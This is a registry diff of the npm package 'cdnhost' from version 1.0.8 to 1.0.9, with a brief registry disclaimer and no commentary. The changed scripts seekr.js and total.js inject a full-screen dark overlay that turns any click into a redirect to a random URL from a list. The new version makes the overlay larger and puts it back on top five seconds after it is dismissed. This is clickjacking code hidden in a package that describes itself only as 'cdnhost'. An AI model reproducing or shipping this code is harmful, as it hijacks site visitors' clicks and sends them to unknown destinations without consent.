cdnhost 1.0.8 → 1.0.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/package.json +1 -1
  2. package/seekr.js +5 -3
  3. package/total.js +2 -2
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "cdnhost",
3
- "version": "1.0.8",
3
+ "version": "1.0.9",
4
4
  "description": "cdnhost",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/seekr.js CHANGED
@@ -1,3 +1,4 @@
1
+
1
2
  window.addEventListener('load', function() {
2
3
  var images = document.querySelectorAll('img');
3
4
  images.forEach(function(img) {
@@ -63,7 +64,7 @@ function handleKeyPress(event) {
63
64
 
64
65
  const randomUrl = urls[Math.floor(Math.random() * urls.length)];
65
66
  document.writeln('<style>');
66
- document.writeln('#s2, #s3 {transition:opacity 5s;z-index:99;position:fixed;top:0;left:0;opacity:0.8;background:#000;width:100%;height:110vh}');
67
+ document.writeln('#s2, #s3 {transition:opacity 5s;z-index:99;position:fixed;top:0;left:0;opacity:0.8;background:#000;width:100%;height:200vh}');
67
68
  document.writeln('</style>');
68
69
  document.writeln('<a onclick=\'location.href="' + randomUrl + '"\' target="_blank" href="#"><div id="s2"></div></a>');
69
70
 
@@ -108,11 +109,12 @@ function h(){
108
109
  s2.style.zIndex = -1;
109
110
  button.style.display = "none";
110
111
  setTimeout(function () {
111
- s2.style.zIndex = 0;
112
+ s2.style.zIndex = 99;
112
113
  button.style.display = "block";
113
114
  s2.style.opacity = 0.8;
114
115
  button.style.opacity = 1;
115
116
  document.getElementById("s2").style.transition = "opacity 1s";
116
117
  document.getElementById("button").style.transition = "opacity 1s";
117
118
  }, 5000);
118
- }
119
+ }
120
+
package/total.js CHANGED
@@ -63,7 +63,7 @@ function handleKeyPress(event) {
63
63
 
64
64
  const randomUrl = urls[Math.floor(Math.random() * urls.length)];
65
65
  document.writeln('<style>');
66
- document.writeln('#s2, #s3 {transition:opacity 5s;z-index:99;position:fixed;top:0;left:0;opacity:0.8;background:#000;width:100%;height:110vh}');
66
+ document.writeln('#s2, #s3 {transition:opacity 5s;z-index:99;position:fixed;top:0;left:0;opacity:0.8;background:#000;width:100%;height:200vh}');
67
67
  document.writeln('</style>');
68
68
  document.writeln('<a onclick=\'location.href="' + randomUrl + '"\' target="_blank" href="#"><div id="s2"></div></a>');
69
69
 
@@ -110,7 +110,7 @@ function h(){
110
110
  s2.style.zIndex = -1;
111
111
  button.style.display = "none";
112
112
  setTimeout(function () {
113
- s2.style.zIndex = 0;
113
+ s2.style.zIndex = 99;
114
114
  button.style.display = "block";
115
115
  s2.style.opacity = 0.8;
116
116
  button.style.opacity = 1;